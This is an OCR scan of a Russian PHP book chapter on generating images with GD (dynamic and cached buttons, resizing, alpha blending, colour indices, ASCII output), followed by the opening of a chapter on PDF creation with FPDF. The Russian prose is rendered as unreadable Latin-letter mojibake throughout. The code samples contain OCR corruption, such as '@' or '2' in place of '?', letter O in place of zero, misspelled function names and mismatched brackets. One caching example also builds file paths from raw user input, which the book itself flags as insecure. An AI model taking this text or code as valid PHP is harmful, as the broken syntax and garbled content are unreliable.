O/1HO 13 CaMbIX ITOMYJISIPHBIX IPUMEHEH Ui TeHepHPOBaHUsI H300paskeHUH - CO3-
NlaHKe «Ha JIeTy» u300pakeHu i s KHOmoK. [Ipu 3TOM 0OBIYHO HAM HYXKHO BbI-
BECTH HEKOTOPBII TEKCT Ha paHee MOAr0TOBIeHHOM (POHOBOM H300pasKEHNH, KaK
MMOKa3aHo Ha puc. 9.8.

fipumep 9.8. Coapanne gUHAMUHECKOH KHOMKK
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<2php

$font = “times”;

$size = isset($_GET['size']) @ $_GET['size'] : 12;
$text = isset($_GET['text']) @ $_GET['text'] : ;
$image = imagecreatefrompng|(“button.png”);
$black = imagecolorallocate($image, 0, O, 0);

if ($text) {

// BBIMMCASEM NO3ULMIO TEKCTA

$tsize = imagettfbbox($size, O, $font, $text);

$dx = abs($tsize[2] - $tsize[0));

$dy = abs($tsize[5] - $tsize[3]);

$x = (imagesx($image) - $dx ) / 2;

$y = (imagesy($image) - $dy ) / 2 + $dy;

// BbIBOGUM TeKCT

imagettftext($image, $size, O, $x, $y, $black, $font, $text);
}

header("Content-Type: image/png”);
imagepng($image);
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B HameM ciyvae mycrasi kHonka (button.png) orobpaxkaercs, Kak MoKa3aHo Ha
puc.9.7.

Puc. 9.7. NycTtas kHoNka

Cuenapuit B mpuMepe 9.8 BbI3bIBAETCS CO CTPAHUIIBI TaK:
<img src="button.php2text=PHP+Button” />

B pesyasrate Oyzmer creHepupoBaHa KHOIKA, MOKa3aHHast Ha puc. 9.8.
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Cumsoa + B URL 3amensier mpobe. IIpo6esst Henomyctiumbl B URL 1 go/mxHbI
ObITh 3aKOAMPOBAaHBI. /{151 KOTMPOBAaHHSI MOXHO TAaKXKe UCMOIb30BaTh QYHKIHIO
urlencode(), Hanpumep:

<img src="button.php2text=<2= urlencode("PHP Button”); 2> />
Kawmnposanue AMHaMUYECKH CreHepPUPOBaHHBIX KHONOK

TenepupoBaHie N300paKeHUI OCYLIECTBJISIETCSI HEMHOTO Me/IJIEHHEE, YEM OT-
TNpaBKa CTaTHYeCKUX N300paxkeHuit. J[J1s1 KHOMOK, KOTOpble OyAyT BCEraa BbITJIsi-
JeTh OIMHAKOBO, KOT/Ia CIileHApHil BBI3bIBAETCS C TEM )K€ TEKCTOBBHIM apryMeH-
TOM, MOKHO PEaJIM30BaTh MPOCTOM MEXaHU3M Kaia. B pe3ysibraTe naobpakeHue
KHOMKU He OyIeT KaXK/Iblil pa3 reHepUpOBaThCsl, a OyAET MOATPYKAThCsl U3 K1lA.

[Tpumep 9.9 renepupyeT KHOIKY, TOJBKO KOT/Ia He HalleH Kau-dailn 1Js Hee.
B mepemeHHO#N $path HaxoAUTCsE KaTasor (KOTOPBIA JOJKEH OBITH JOCTYIEH
L7151 3aIIUCH T0JIb30BaTeIEM BeO-cepBepa), B KOTOPOM M GyIyT XPaHUTHCS PaHee
CO3aHHBIE KHONKHU - K31 KHOMOK. (DyHkuus filesize() BO3BpallaeT pa3mep
daiina, a readfile() ormpasisier comepxumoe daiia B 6Gpaysep. ITockosnbky
3TOT ClIeHapH# UCTOJb3yeT UM (aiiyia KaK TEKCTOBBIN MapaMeTp, OH OYeHb He-
6e3onacet (B ri1aBe 12 Bbl y3HaeTe, MOYEMY U KaK 3TO UCTIPABUTD ).

Mpumep 9.9. K3iumposaHne gUHaMUHECKUX KHONOK

(R R R R R R R R Y]

<2php

$font = “times”;

$size = isset($_GET(['size']) 2 $_GET['size'] : 12;

$text = isset($_GET["text']) 2 $_GET['text] : ";

$path = /tmp/buttons”; // karanor c kawem kHonok

// oTnpaBnsem KaWMPOBAHHYIO BEPCHIO

if ($bytes = @filesize(" { $path}/ { $text}.png”)) {
header("Content-Type: image/png”);
header(“Content-Length: { $bytes}”);
readfile("{$path} /{ $text}.png”);
exit;

}

// $aiin B K3we He CyleCTBYeT, NO3TOMY HOM HYXHO CO3AQTH ero,
// xawnposats ero u BepryTs Epaysepy

$image = imagecreatefrompng(”button.png”);

$black = imagecolorallocate($image, O, O, 0);

if ($text) {
// BblUUCAREM NO3ULMIO TEKCTA
$tsize = imagettfbbox($size, O, $font, $text);
$dx = abs($tsize[2] - $tsize[0));
$dy = abs($tsize[5] - $tsize[3]);

T N R R R R Y Y]
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$x = (imagesx($image) - $dx ) / 2;
$y = (imagesy($image) - $dy ) / 2 + $dy;
// BbIBOAMM TEKCT
imagetiftext($image, $size, 0, $x, $y, $black, $font, $text);
// coxpamsem kapTHHKy B daiin
imagepng($image, “{$path}/{ $text}.png”);
}
header(”Content-Type: image/png”);
imagepng($image);

Ycxopsem k3w

[Tpumep 9.9 6bicTp, HO He Tak OBICTP, Kak MOT ObI ObITh. CONB3YsT TUPEKTHBBI
Apache, Bbl MoxxeTe o6oiitn PHP-cuieHapmii u 3arpy3utb u3obpakeHue Hero-
CPeICTBEHHO M3 KaTaJora Kalia, eCJIM OHO yKe ObLIO CO3/1aH0. JTO ellle YCKOPUT
3arpy3Ky BeO-CTpaHHIIbL.

[TepBbIM fmeioM co3pmaiite katajor buttons rae-To B DocumentRoot Bamiero Beo-
cepBepa M ybeauTeCh, YTO y MOJIb30BaTeNsi BeO-cepBepa eCTb MPaBO 3alUCH
B 3TOT Karajor. Hampumep, eciu DocumentRoot - 3TO Svar/www/html, T0 co3-
naiite katanor /var/www,/html/buttons.

I[Tocse atoro oTkpoiite Baur aitn kondurypauuu Apache (httpd.conf) u nobasb-
Te B Hero OJIOK:

<location /buttons/>
ErrorDocument 404 /button.php
</location>

Aror 610k roBopuT Apache, uTo 3anmpockl HecyleCTBYOIUX (haiisIoB B KaTajore
buttons Hy>XHO OTIIPaBJATH ClieHapuIo button.php.

Ianee, coxpanute npumep 9.10 kak button.php. JlaHHbli clieHapUii CO3/1a€T HO-

BYIO KHOIIKY M COXPaHsIeT ee B K3lile, a 3aTeM OTIpaBJsieT B Gpay3ep. B Hem ectb

HECKOJIbKO OT/IMYMi oT mpumMepa 9.9. Mbl yxke He uineM mapameTpsl B $_GET,

a paboraem ¢ mepeHamnpaBiaeHusiMu Apache. B maccuBe $_SERVER MBI MIIEM

CTPOKY, KHOIIKY /U151 KOTOPOi HaM HY>KHO CreHepUpOBaThb. Takike MbI IBHO He IO~
[

3BOJIsIEM CITOJIb30BaTh “..” B UMeHHU haiisa, 4ToObI TMKBUAMPOBATH BIPKY B 6€3-
OMacHOCTH U3 puMepa 9.9.

Kak Tosbko button.php 6ynet ycTaHOBJIEH U Gy/IET MOJYY€eH 3alIPOC BPO/IE 3TO-
ro http;//your.site/buttons,/php.png, Be6-cepBep NPOBEPUT, CYLIECTBYET JiU (aiin
buttons/php.png. Eciv daiin He cyuecTByert, 3anpoc OyaeT nepeHanpaBJieH Ha
cueHapuit button.php, xotopblii co3aact usobpaxkeHue ¢ Tekctom “php” u coxpa-
HUT ero B buttons/php.png. JlioGbie mocaeayolye 3apockl 3TOro daitna 6yayT
006CTy>KNBaThCs HEMIOCPENCTBEHHO C 0OpallleHHeM K yxKe CylecTByouemy daii-
2y KHonkH, 6e3 3anycka PHP-cuenapus.
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Mpumep 9.10. Bonee 3ddheKTUBHbIN CLEHAPUH KILLMPOBAHUS SUHAMMYECKMX KHOMOK

<2php

// nonyuaem neperanpasnenHbie URL-napameTpsi, ecnn Takossie cywecTayiot
parse_str($_SERVER['REDIRECT_QUERY_STRING']);

$cacheDir = “/buttons/”;

$url = $_SERVER['REDIRECT_URL'];

// sbinensem pacwupeHrune
$extension = substr($url, strrpos($url, *.'));

// yaansem karanor u pacwupeHme u3 crpoku $url
$file = substr($url, strlen($cacheDir), -strlen($extension));

// 3anpewaem ‘..’ 8 umenn daiina

$file = str_replace("..!, ", $file);

// Texct pns oTobpaxeHus Ha kHonke

$text = urldecode($file);

$font = “times”;

$path = “/tmp/buttons”; // katanor kawa kHonok

// coapaem; kawmnpyem n oTobpaxaem kHoONKy
$image = imagecreatefrompng(”“button.png”);
$black = imagecolorallocate($image, O, O, 0);
if ($text) {
// BuiYMCNfEM NO3MUMIO TEKCTA
$tsize = imagetifbbox($size, O, $font, $text);
$dx = abs($tsize[2] - $tsize[0]);
$dy = abs($tsize[5] - $tsize[3]);
$x = (imagesx($image) - $dx ) / 2;
$y = (imagesy($image| - $dy ) / 2 + $dy;
// BuiBOAMM TekCT
imagetiftext($image, $size, O, $x, $y, $black, $font, $text);
// coxpansem uaobpaxenue B pain
imagepng($image, “{$_SERVER['DOCUMENT_ROOT']} { $cacheDir} { $file}.png”);
}

header("Content-Type: image/png”);
imagepng($image);

Y Haiero peleHHst eCTb OAMH CYIeCTBEHHbIN HEOCTATOK - TEKCT KHOMKH He MO-
XeT coep>kaTb CUMBOJIOB, HEJOMYCTUMBIX B MMeHH (aitya. 3aTo KalIMpoBaHHe
n3o0paxeenuii ocyuiectpisiercst 6onee addexriHo. Ecnu Bbl M3MeHHTe BHell-
HMI BUA BalIMX KHOMOK BaM HY)XHO OyZeT MOBTOPHO CO3AaTh BCE KIIIMPYeMble
n3obpaxenust. [{71s atoro npocto ynanure Bce u300paxkeHus1 B KaTajiore buttons.
Bbl Takoke MOXeTe 3aCTaBUTh ClIEHapHii FeHePUPOBATh H300PaXKeH sl Pa3HbIX TH-
T1I0B, TPOCTO YCTAaHOBUTE pacCIIMPeHHe COOTBETCTBYiOILero THUma ($extension)



PHP. MonHoe pykoBOACTBO U CIPAaBO4HUK PYHKLMI

U BbI30BHTE COOTBETCTBYIOILYIO0 (DYHKIHIO B KOHIlEe H300paXkeHUs - imagejpeg|)
WK imagegif(). Bl Takxe mMoxere 106aBUTb MOAUGMUKATOPHI TaKHe KakK IIBET,
pa3mep, mpudT U nepeaatb ux B URL. [Tockosnbky B HauieM npumepe Mbl HC-
nonb3yeM parse_str(), URL Buma http.//your.site/buttons/php.png?size=16
otobpasut cjoBo “php” wpudrom ¢ pasmepom 16 nyHKTOB.

9.6. U3meHeHne pa3mepa n3oOpaxeHui

CywectByer nBa crmocoba H3MeHUTb pasMep u3o0paxeHus. DOyHKuus
imagecopyresized() ObICTPa, HO €€ HCIOJIb30BaHHE MOXET NPUBECTH K 3ybua-
ThIM KpasM B BalIMX HOBbIX H300paxeHusx. MYHKUMSA imagecopyresampled|)
Me/lJIEHHas, HO UCITIOJIb3YeT MUKCENbHYI0 MHTEPIIOJSALUIO, 4TOOBI MOJTYYUTD [/
KHe Kpas y u3obpaxenusi. O6e pyHKIUMH IPUHUMAIOT OIHU U T€ XK€ MapaMeTphI:

imagecopyresized(dest, src, dx, dy, sx, sy, dw, dh, sw, sh);
imagecopyresampled|(dest, src, dx, dy, sx, sy, dw, dh, sw, sh);

[TapameTphi dest (Ha3HavyeHHe) U S7¢ (MICTOYHHUK) 3a1a10T UAEHTH(HUKATOPBI U30-
6paxenust. Touka (dx, dy) - 3T0 TouKa Ha U300paXeHUH Ha3HAYEHUsI, KOTOPas
omnpezessieT JIeBblii BEDXHHUI yrosl NMPsIMOYTOJbHUKA, B KOTOPbIK OyzeT BCTas-
JsAThCsl KonupyeMasi obsactb. Touka (sx, Sy) - 3TO TOYKa Ha M300paKEHHH-
UCTOYHHKE, KOTOpasl ONpejiesisieT JeBblil BEPXHUI YroJ MPsIMOYTOJbHHUKA, CO-
Jiepxallero ucxoaHoe u3obpaxenue. [lapamerpsl sw, sh, dw u dh 3anaoT wMpH-
HY M BBICOTY COOTBETCBYIOLINX 00J1aCTEN B MCXOHOM U Pe3yJILTHPYIOLIEM H30-
Opa>keHUsIX.

[Ipumep 9.11 uameHsier pasmep MCXOAHOTO U30OpakeHus: php.jpg ‘(puc. 9.9)
W yMEeHbIIaeT ero pa3Mep A0 YeTBEPTH OPUTMHATbHOrO pa3Mepa (pe3yJsbratr
npencTasieH Ha puc. 9.10).

Npumep 9.11. UsmeHeHue paamepa u300paxeHus ¢ OMoLLbI0 imagecopyresampled()

<?php

$source = imagecreatefromjpeg(“php.jpg”);
$width = imagesx($source);

$height = imagesy($source);

$x = $width / 2;
$y = $height / 2;

$destination = imagecreatetruecolor($x, $y);
imagecopyresampled($destination, $source, 0, 0, O, 0, $x, $y, $width, $height);

header("Content-Type: image/png”);
imagepng( $destination);
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Puc. 9.9. OpuruHansHoe naobpaxenue php.jpg

Puc. 9.10. Pe3ynbrar: 1/4 o1 ucxogHoro pa3mepa

Henenuie Ha 4 BMECTO 2 [IaCT ellle MEHbIIYIO KAPTHHKY, H300paXKEHHYIO Ha PUC.

9.11,
P

Puc. 9.11. Peaynbrar: 1/16 oT ucxogHoro paamepa

9.7. 06pa6orxa ugera

Bubanoreka GD mnomuepxuBaet, kak 256-1BeTHble (8-OMTHas majauTpa), Tak
nosiHolBeTHbIe (true color) uzobpaxenus ¢ anbda-kaHaaoM (IPO3PavHOCTHIO).

Yrobel co3aath 256-1BeTHOe H300pakeHHe, HMCHOJb3YHTE  (DYHKIHIO
imagecreate(). DoH Takoro u300pakeHHs 3aMOJIHSETCS MEPBbIM IIBETOM, KO-
TOPBIH BbI BelAENNUTE DYHKIIMEN imagecolor():

$width = 128;

$height = 256;

$image = imagecreate($width, $height);

$white = imagecolorallocate($image, OxFF, OxFF, OxFF);

YToO6bl CO31aTh MOJHOIBETHOE H300paxkeHHe ¢ 7-OUTHBIM asibha-KaHAIOM, HC-
noJib3yiite GYHKIIUIO imagecreatetruecolor():

$image =imagecreatetruecolor(width, height);

(Dymcuml imagecolorallocatealpha()  co3maeT HMHAEKC 1BETa, BKJIIOYAIO-
UIW TPO3PaYyHOCTb:

$color = imagecolorallocatealpha(image, red, green, blue, alpha);

3uauenue alpha 3anaercs ot 0 (MOJHOCTHIO He MPo3payHo) U g0 127 (mosHo-
CThIO IPO3PAYHO).



PHP. Monxoe pykoBOACTBO U CpaBoYHUK GyHKUUA

B T0 BpeMs1 kak GOJIBIIMHCTBO JII0fIel IPUBBIKJIO K 8-paspsigHomy (0-255) anbda-
KaHaJy, 6osiee ynoOHbM siBisiercs 7-Outhblid (0-127) anbda-KaHas, KOTOPbIMA
u ucnonbsadyetcss B GD. Kaxaplii nukcesnp npeactaBiied 32-pa3psiiHbIM 1€JIbIM
uncsioMm (signed integer) co 3HaKOM C YeThIpbMs 8-pa3psAaHbIMU OalTaMu:

High Byte Low Byte
{Anbda-kanan} {Kpacheit} {3enenwiit} {Cunumir)

JIJIst eJIoro 4mcjia Co 3HaKOM KPaWHUM JIeBbIH OUT MCIOJIb3yeTcsl, YTOObI yKa-
3aTh, OTPUIIATENBHOE WM TIOJIOXKUTEIbHOE 3HaueHHe, TAKUM 00pa3oM, 11 ¢ak-
THYeCKON MHpopMaluu ocraercs Toibko 31 6ut. Lenoe sHauenne B PHP no
YMOJIYaHUIO — 3TO 3HayeHHe Tumna signed long, B KOTOpoe MOXHO COXpPaHUTD
onHy 3anuch GD-naautpbl. 3Hak yucia onpenesser, OyaeT Ju BKIOYeHO (+)
WJIM BBIKJTIOYEHO (-) CrIa’kMBaHUe JJIs1 3TOM 3aIlIMCH NaJUTDBhI.

B ominmune ot 256-uBeTHhIX M300paxkeHu#, mpu pabore c truecolor-
M300paXeHUsIMU TIEPBBIi1 BbIJEJEHHDbIA LIBET He CTAHOBUTCSI aBTOMATHYECKU
uBeToM ¢oHa. BmecTo atoro nzobpaxkeHune 3anosHsieTCst MOJHOCTBIO NPO3pay-
HbIMU nHKceasiMU. HUToObI 3a1uTh M300paXkeHre JI0ObIM BBIODAaHHBIM L(BETOM,
ucnosb3yiite GyHKUMIO imagefilledrectangle().

[Tpumep 9.12 co3naeT NMOTHOLBETHOE U300paKeHHE U PUCYET MOJTYIPO3PAYHbIi
OpaHXeBblit JuIHIIC Ha 6estoM done.
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Npumep 9. 12. NpocToit oparxeskiit 3nnunc Ha 6enom ¢oHe

<2php

$image = imagecreatetruecolor(150, 150);
$white = imagecolorallocate($image, 255, 255, 255);

imagealphablending($image, false);
imagefilledrectangle($image, 0, O, 150, 150, $white);

$red = imagecolorallocatealpha($image, 255, 50, O, 50);
imagefilledellipse($image, 75, 75, 80, 63, $red);

header("Content-Type: image/png”);
imagepng($image);

Pesynbrat cuenapus 9.12 nokasan Ha puc. 9.12.

JINsi KOHBEPTMPOBAHHS TOJHOLBETHOIO H30-
6paxkeHust B 256-6MTHOE MOXKHO MCIIOJIb30BaTh

(yHKUMIO imagetruecolortopalette(). Puc. 9.12. OpanxeBsii
annunc Ha 6enom poHe
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WUcnonb3osanne anbda-kaHana

B npumepe 9.12 mbi BoikaouMaH anbga-cmemnBanue (alpha blending) nepen
BLIBOZIOM Halllero ¢oHa u ajyuunca. Anbga-cMelIMBaHUe - 3TO NepeKoyaTelib,
onpefeNsomuii, 6yA€eT JiM MPUCYTCTBOBATH aibda-KaHaj UM HET IIPU PUCOBa-
Huu. Ecav anbda-cMeninBaHue BHIKJIIOYEHO, CTapblie MUKCENU OYayT 3aMEHEHbI
HOBBIMM NHKcenssMu. Eciu anbga-kaHan cyuecTByeT AJisi HOBOTO IMUKCEJIs, OH
coxpaHsieTcsi, HO BCsA nHGOpMALMs O MUKCeJIe /11 HCXOHOTO Tepe3anuchiBae-
MOrO MUKceJisi Gy et rnoTepsiHa.

ITpumep 9.13 unnocTpupyet aibda-cMelIMBaHHE IPH PUCOBAHUU CEPOTO MpPsi-
MoyrosbHuKa ¢ 50% abda-KkaHaJIOM MOBEPX OPaHKEBOTO 3JIUIICA.

Mpumep 9.13. Cepuiit npamoyronshuk ¢ 50% HanoxeHHbIM anbda-KaHanom

<2php
$image = imagecreatetruecolor(150, 150);

imagealphablending($image, false);
$white = imagecolorallocate($image, 255, 255, 255);

imagefilledrectangle($image, 0, 0, 150, 150, $white);
$red = imagecolorallocatealpha($image, 255, 50, 0, 63);

imagefilledellipse($image, 75, 75, 80, 50, $red);
imagealphablending($image, false);

$gray = imagecolorallocatealpha($image, 70, 70, 70, 63);
imagefilledrectangle($image, 60, 60, 120, 120, $gray);

header("Content-Type: image/png”);
imagepng($image);

Pesynsratr npumepa 9.13 npusenen Ha puc. 9.13 (anpda-cMeunBanue Bce ele
BBIKJIIOYEHO).

Puc. 9.13. Cepbiii NpIMOYrofibHUK NOBEPX OPAHXXEBOro 3nnunca



PHP. NonHoe pykoBOACTBO M CNPaBOYHUK PYHKLMA

Ecau mMb1 uamenuM npumep 9.13, 4To6bl BKIIOUNTH ajbda-CMeluBaHue Nepes
BbI30BOM  (DYHKUMH  imagefilledrectangle(), MbI  MoJayuYuM  H306paxkeHUe,
nokasaHHoe Ha puc. 9.14.

Puc. 9.14. N306paxeHune Cc BKNIOYEHHbIM anbga-cMmelumBaHnem

Upentndukaums usetTos

Yrobbl y3HATh 1BET ONpPENEJEHHOrO MHKCEasT H300pakeHHsl, MCIOJIb3yHTe
(yHK1HUI0 imagecolorat():

$color = imagecolorat(image, x, y);

Ilst u3obpaxkeHuit ¢ 8-6MTHOU MAMUTPOit HYHKIIMSI BO3BpAIIAET IIBET, KOTOPbIA
Bbl TOTOM MoOJKeTe mepenatb (GYHKIMM imagecolorsforindex(), 4TOOBI TMOMY-
yuTh (paktuyeckue RGB-3Hauenus:

$values = imagecolorsforindex(image, index);

MaccuB, Bo3BpauleHHbIH GYHKIHUEH imagecolorsforindex() HMeeT  KJIIOYM
'red’, ‘green’ u ‘blue’. Eciu Bbl BbI30BUTE (DYHKIHUIO imagecolorsforindex()
J171s1 TIOJTHOLIBETHOTO M300pakeHHs1, BO3BpalllaéMblil MACCHUB TakKe Oy1eT comep-
JKaTh KJIOY 'alpha’. 3HAueHUS IS 3THUX KJIOYEH COOTBETCTBYIOT AUAIa30HY
0-255 mns 3navenuii uBera u 0-127 s anbda-3HaueHus.

Wnpexcu! NONHOLBETHOro U3o6paxeHus

Wunexc 1uBera, BO3BpalleHHBbld (yHKIMEHR imagecolorallocatealpha() Ha
CaMoM JieJie sIBJIsieTCst 32-OMTHBIM 11€JIbIM YMCJIOM CO 3HAKOM, TJie IEPBbIE TPH
Gaiita comepkat 3HayeHusi coctaBisommx RGB. Creayomumit 6uT o3Hayaer,
OyJeT 1M BKJIIOYEHO CTJIa)KMBaHHUE [JIsI STOTO [BETA, a OCTaBLIMECS 7 OMT XpaHST
3Hau€eHHe MPO3PauyHOCTH.

Hamnpumep:
$green = imagecolorallocatealpha($image, 0, 0, 255, 127);

B nepementyio $green Oymer nomemieHo 3uauenue 2130771712, ero mectHan-
natepuuHoe ¥ qBonyHbie 3Hauenus - 0x7FO0FF00
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n01111111000000001111111100000000 cooTBETCTBEHHO.

JlaHHbIi KO 9KBUBAJIEHTEH BbI30BY imagecolorresolvealphal):
$green = (127 << 24) | (0<<16) | (255<<8) | O;
[leKOHCTpYKUMS 3TOro 3HaYeHHs1 BbITJISUT IPUMEPHO TaK:

$a = ($col & 0x7FO00000) >> 24;
$r = ($col & OxOOFFO000) >> 16;
$g = ($col & 0xO000FFOO) >> 8;
$b = ($col & OxO0000O0FF);

Henocpencmeﬂﬂaﬂ MAaHUIIYJALIHUA 3HAYEHUAMHA LIBETA BpOAE 3TOH PEAKO HYX-
Ha. CJIEZIyIO[U.ee INPpHJIOKEHHE TEHEPUDYET M306pa>l<emde TECTUPOBAHHUA LBETAQ,
KOTOPO€ IMTOKa3bIBAET YUCTbI€ OTTEHKH KPACHOTIO, 3€JIEHOIO U CHHETO LIBETOB.

$image = imagecreatetruecolor(256, 60);

for ($x =0; $x < 256; $x++) {
imageline($image, $x, 0, $x, 19, $x);
imageline($image, 255 - $x, 20, 255 - $x, 39, $x << 8);
imageline($image, $x, 40, $x, 59, $x<<16);

}

header("Content-Type: image/png”);

imagepng($image);

Puc. 9.15. Tecr yuseta

OueBuaHO, 3TOT TeCT OyAeT HAMHOrO GoJiee KPAaCOYHBIM, YEM Mbl MOXKEM IMOKa-
3aTh BaM 3[€Cb B YePHO-0€JIbIX TOHAX, 03TOMY 00s3aTeIbHO MONPOOyHTe 3TOT
NpUMep CaMOCTOsITeJIbHO. B 1aHHOM NMpHMepe HAMHOTO MPOollEe BHIYUCIUTD LIBET
IMUKCEeJIs1, YeM BbI3bIBaThb imagecolorallocatealpha() AJ151 Kaxa0ro uBeTa.

TexcroBoe npeacTasnexue uzobpaxenus. ASCll-npeacrasnenue nzobpaxenus

Jl/1s1 TEKCTOBOrO NpeacTaBJieH!st U300paXkeHHst MOXKHO MCMO0JIb30BaTh QYHKIMIO
imagecolorat(), KoTOpasi OyZeT BbI3bIBATHCS B LMKJE IS KaXXAOTO MUKCEJs
n300paxkeHusi, MOJIyYaTh €ro LBET MU YTO-TO /JeJaTb C MOJyYeHHbBIMH IaHHBIMH
o usete. [Ipumep 9.14 BbIBOAUT # 1151 KAXKAOI0 MUKCEJ U300pakeHus php-tiny.
php B LIBETE 3TOTrO MUKCEJISI.
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Mpumep 9. 14. Konsepruposanue usobpaxeHus B TEKCT
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<html><body bgcolor="#000000">

<t><?%php

$image = imagecreatefromjpeg(”php-tiny.jpg”);
$dx = imagesx($image);
$dy = imagesy($image);

for ($y = 0; $y < $dy; $y++) {

)

for ($x = 0; $x < $dx; $x++) {
$colorindex = imagecolorat{$image, $x, $y);
$rgb = imagecolorsforindex($image, $colorindex);
printf('<font color=#%02x%02x%02x>#</font>',
$rgb['red'], $rgbl'green’], $rgb['blue’]);

}

echo "<br>\n";

></it>
</body></html>

Pesyasrat - ASCII-npencrasienue n3odpaxkeHusi, NoKazaHHoe Ha puc. 9.16.
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“ESEBSVBEIREIESSSS

FI3340 289949
44388088000
R )

199499448842 FE
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SHEISH3HARAIARER99Y

Puc. 9.16. ASCIl-npeactaBneHue n3obpaxeHus




aea 10. PDF

®opmar Adobe Portable Document Format (PDF) no3Bosisier BaliuMm [0KY-
MEHTaM BBITJISIIETh OIMHAKOBO KaK Ha 3KpaHe, TaK U MMPH mevyaty. B 3Toi riase
GyaeT mokasaHo, Kak cpeacTBaMu s3bika PHP pgunamuyecku cosnaBath PDF-
(aitnbl ¢ TeKCTOM, rpadMKOM, CCBIIKAMU U T.[1.

Hdunamuueckoe co3aannie PDF-daiiioB Ha BalleM cailiTe OTKPbIBaeT ABEPU KO
MHOTMM MHTEPECHBIM U IOJIE3HBIM TPAKTHYECKUM NMPUMeHEeHUsIM. Bbl MoxeTe
CO3/1aBaTh /IeJIOBbIE TOKYMEHTBI OYTH JI0OOr0 BU/A, B TOM YKCJI€ BCEBO3MOX-
Hbl€ BapUaAHThI MUCEM, TIPUIJIAIIEHUH, C4eTOB U T.A. Tak, Hanpumep, GOJIbIINUH-
CTBO GYyMaXKHO# pabOTHI, OCHOBAaHHOMW Ha 3anoJiHeHUU (OPM, MOXKET ObITh aBTO-
MaTHU3UPOBAHO MyTEM HAJIOXKEHHUsI TEKCTa HAa OTCKAHUPOBaHHYIO HOPMY U COXpa-
HeHus pe3ysbrata B PDF-daiine.

10.1. PDF-pacwmpeHus

I nst PHP pa3paborano HeCKOJIbKO 6M6IMOTEK, MpefAHa3HAYEHHBIX JJisi CO3/1a-
Husi PDF-nokymenToB. B aToii riaBe 6yzneT paccMoTpeHa momyJisipHast 6u6iu-
oreka FPDF. Bu6anoreka FPDF - ato Ha6op PHP-koza, KOTOpBIN BbI MOXETe
MPOCTO MOJAKJIOYUTH K BallleMy KOAY C IOMOIIbIO UHCTPYKLIMH require U KOTO-
pblit He TpeOyeT Kakoii-11bo crelragibHON HaCTPOMKM Ha cepBepe. Bbl MoxerTe
UCI0JIb30BaTh U Apyrue PDF-6u6moTexy, HO 6a30Bble KOHLENLIUY, TAKKE KaK
cTpykrypa u dyukiuu PDF-daiina, ot atoro He uamensrcsi. bubimorexky FPDF
MOJKHO 3arpy3utsb 1o aapecy: http://www.fpdf.org/

NMpumeuanue. Bl Takke MoxeTe 06paTnTe CBOE BHUMAHWNE Ha Apy-
ryio 6ubnuotexky — TCPDF, kotopas ny4ywe obpabartbiBaeT cneum-
anbHble cumeonbl HTML n nogaepxuveaet MHOron3blKOBbIA BbIBOA,
B koampoeke UTF-8. Ecnu BaM HyxHbl 3Tu ¢yHKuMK, ckadante 6u-
6nnoteky no aapecy http://www.tcpdf.org/

e e
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10.2. [IoOKyMeHTbl U CTPaHULbI

PDF-10KkyMeHT COCTOUT U3 HEKOTOPOTro Yuca ctpanull. Kaxnas ctpanuua co-
CTOMT U3 TEKCTa U/uau u3o6paxkenuid. B aToM paszese GyieT nokasaHo, Kak co3-



PHP. MonHoe pykoBOACTBO U CAPaBOYHUK PYHKUMW

NaTh TOKYMEHT, 106aBUTb B HErO CTPAHMIIbI, TOMECTHUTb TEKCT Ha CTPAHHIIBI U OT-
NpaBUTh 3TH CTPaHUIIbI B Opay3ep, koraa hbopMUpoBaHue JOKyMeHTa OyeT 3a-
BepIiIeHO.

Mpumevanune. Npymepsl B 3TOM rMaee NOAPa3yMeBAlOT, YTO Y BaC
YCTaHOBNEHO pacwupeHue 6pay3epa ans NPocMOTpa AOKYMEHTOB
Adobe PDF. B npotuBHOM cnyyae npumepbl He 6yayt pabortars.
MonyuuTb pacwwupexHve ans 6pay3epa MOXHO Ha caiTe Adobe:
http://www.adobe.com/

SRR

R —

Mpocroit npumep

/laBaiite HayHem c mpoctoro PDF-nokymenta. Ilpumep 10.1 mpocto nomera-
et crpoky “Hello Out There!” Ha cTpanuiy, a 3ateM oToOpakaer pe3yJIbTHPYIO-
wmit PDF-nokymenr.
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fipumep 10.1. “Hello Out There!” s PDF £
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<2php

require(”../fpdf/fpdf.php”); // nyts « fpdf.php
$pdf = new FPDF();

$pdf->addPagel);

$pdf->setFont(“Arial”, 'B', 16);

$pdf->cell(40, 10, “Hello Out There!”);
$pdf->output();
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IIpumep 10.1 memoHcCTpHpyeT OCHOBHBbIe 3Tambl co3naHus PDF-mokymenra:
co3aanue HoBoro sk3eMmiuisipa PDF-o6bekTa, co3nanue CTpaHHUIbl, YCTAHOBKA
nipudTa 1715 TEKCTa, a TaKXKe BBIBOJ TEKCTa B “sueliky” cTpaHulbl. Pe3dynbrar
3TOrO clieHapusi mpuBeeH Ha puc. 10.1.

Hello Out There!

Puc. 10.1. PeaynwraT npumepa 10.1

.................................................................................
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Wuuumanusaums aokymeHTa

B npumepe 10.1 mbi ccbliaeMcst Ha 6ubanoreky FPDF ¢ noMouibio KOHCTPYK-
UMM require. 3aTeM KOA co3aaeT HOBbIM ak3emmisip obbekta FPDFE. O6pa-
THTE BHUMaHHe, YTO Bce Bbi30Bbl 3k3emiisipa FPDF sBasiorcs o6beKkTHO-
OPUEHTHPOBAaHHbIMH BbI30BAMH METO/IOB 3TOro obbekTa. Ecsin Bbl HCIIBITHIBA-
eTe 3aTpyaHeHus Npu pabore ¢ 06bEKTHO-OPHEHTHPOBAHHBIM KOJOM, 00paTH-
Tech K raaBe 6. [Tocsie co3nanus HoBoro ak3eMisipa o6bekta FPDF BaM HyxHO
n06aBUTh KAK MUHMMYM O/JIHY CTPAHHILLY, TO3TOMY BbI3bIBa€TCs METOA AddPage.
[lanee BaM HY>XHO YCTaHOBUTb WIPUMT JJ1s1 BBIBOJMUMOIO TEKCTA, 3TO Mbl JleJia-
€M BbI30BOM Seifont. 3aTeM, HCMOib3ysi MeTOXA cell), Mbl NMOMEIAEM TEKCT
B CO3/1aHHBIii 10KyMeHT. UTOObI BBIBECTH JOKYMEHT B Opay3ep, Mbl UCIOJIb3yeM
MeTtoz Output.

BuiBoa 6230BbiX TEKCTOBbIX A4eeK

Sueiika (cell) B 6ubnnorexe FPDF - 3To npsiMoyrosibHasi 06J1acTh Ha CTPAHHULIE,
KOTOPYIO Bbl MOXETE CO3/1aTh U YNPaBJATb €10 BIOCJEACTBUH. Y 3TOH A4YeHKH
€CTb BbICOTa, IMPUHA U rpaHuLia. KoHeuHo xe, ayeiika coaepxatb TeKcT. OCHOB-
